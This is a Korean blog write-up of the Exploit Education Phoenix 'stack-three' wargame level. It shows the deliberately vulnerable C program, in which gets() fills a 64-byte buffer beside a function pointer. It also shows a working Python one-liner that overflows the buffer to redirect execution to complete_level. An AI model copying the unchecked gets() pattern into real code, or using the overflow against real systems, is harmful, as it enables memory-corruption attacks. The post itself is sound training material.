[Phoenix] Stack three

2022. 9. 27. 07:19·Wargame/Exploit Education
728x90
반응형

1. intro

2. code 및 분석

2.1.  C code

/*
 * phoenix/stack-three, by https://exploit.education
 *
 * The aim is to change the contents of the changeme variable to 0x0d0a090a
 *
 * When does a joke become a dad joke?
 *   When it becomes apparent.
 *   When it's fully groan up.
 *
 */

#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BANNER \
  "Welcome to " LEVELNAME ", brought to you by https://exploit.education"

char *gets(char *);

void complete_level() {
  printf("Congratulations, you've finished " LEVELNAME " :-) Well done!\n");
  exit(0);
}

int main(int argc, char **argv) {
  struct {
    char buffer[64];
    volatile int (*fp)();
  } locals;

  printf("%s\n", BANNER);

  locals.fp = NULL;
  gets(locals.buffer);

  if (locals.fp) {
    printf("calling function pointer @ %p\n", locals.fp);
    fflush(stdout);
    locals.fp();
  } else {
    printf("function pointer remains unmodified :~( better luck next time!\n");
  }

  exit(0);
}

 

2.2. 분석

buffer 변수에 값을 받아들이며, fp 변수가 complete_level 함수의 주소가 되어야 한다.

 

3. 취약점 확인 및 공격 준비

3.1. 취약점

gets. 크기 체크 안함.

 

3.2. 공격 준비

complete_level의 주소만 알면 될 것 같다.

어차피 buffer 위치 이후가 fp 일테니.

user@phoenix-amd64:/opt/phoenix/amd64$ objdump -d ./stack-three | grep complete_level
000000000040069d <complete_level>:

 

4. exploit

user@phoenix-amd64:/opt/phoenix/amd64$ (python -c 'print "A"*64+"\x9d\x06\x40\x00\x00\x00\x00\x00"') | ./stack-three
Welcome to phoenix/stack-three, brought to you by https://exploit.education
calling function pointer @ 0x40069d
Congratulations, you've finished phoenix/stack-three :-) Well done!
728x90
반응형
저작자표시 비영리 변경금지 (새창열림)

'Wargame > Exploit Education' 카테고리의 다른 글

[Phoenix] Stack five  (0) 2022.09.27
[Phoenix] Stack four  (0) 2022.09.27
[phoenix] Stack Two  (0) 2022.09.26
[Phoenix] Stack One  (0) 2022.09.26
[Phoenix] Stack Zero  (0) 2022.09.26
'Wargame/Exploit Education' 카테고리의 다른 글
  • [Phoenix] Stack five
  • [Phoenix] Stack four
  • [phoenix] Stack Two
  • [Phoenix] Stack One
wyv3rn
wyv3rn
아저씨의 흔한 취미. wyv3rn#1249
  • wyv3rn
    think storage
    wyv3rn
  • 전체
    오늘
    어제
    • 분류 전체보기 (506) N
      • To do list (7)
        • Doing (1)
        • Complete (6)
      • Diary (35)
      • Tips & theory (74) N
      • Kernel Exploit (27)
        • Theory (15)
        • Exercise (5)
      • File Structure (6)
      • Wargame (313)
        • pwn.college (34)
        • Dreamhack (148)
        • pwnable.kr (15)
        • Lord of Sqlinjection (3)
        • Cryptohack (20)
        • Root me (27)
        • CodeEngn (4)
        • Exploit Education (22)
        • ROP Emporium (8)
        • H4C (10)
        • Hackerchool (22)
      • CTF (44) N
        • Solved (42) N
        • Unsolved (2)
      • Script (0)
      • RubiyaLap (0)
  • 블로그 메뉴

    • 홈
    • 방명록
  • 링크

  • 공지사항

    • PWN wargame 모음 (및 느낀점)
    • 비공개 글들에 대해.
    • 뭐라도 하나 얻어가시길...
  • 인기 글

  • 태그

    _IO_FILE
    Me
    dreamhack
    FSB
    hackerschool
    Buffer Overflow
    root-me
    rop
    exploit education
    32bit
    BOF
    pwntools
    lob
    libc
    CANARY
    64bit
    tcache
    Format String Bug
    root
    vtable
    la ctf
    cryptohack
    docker
    x86
    RTL
    x64
    phoenix
    pwnable.kr
    heap
    ROOT ME
  • 최근 댓글

  • 최근 글

  • 250x250
    반응형
  • hELLO· Designed By정상우.v4.10.3
wyv3rn
[Phoenix] Stack three
상단으로

티스토리툴바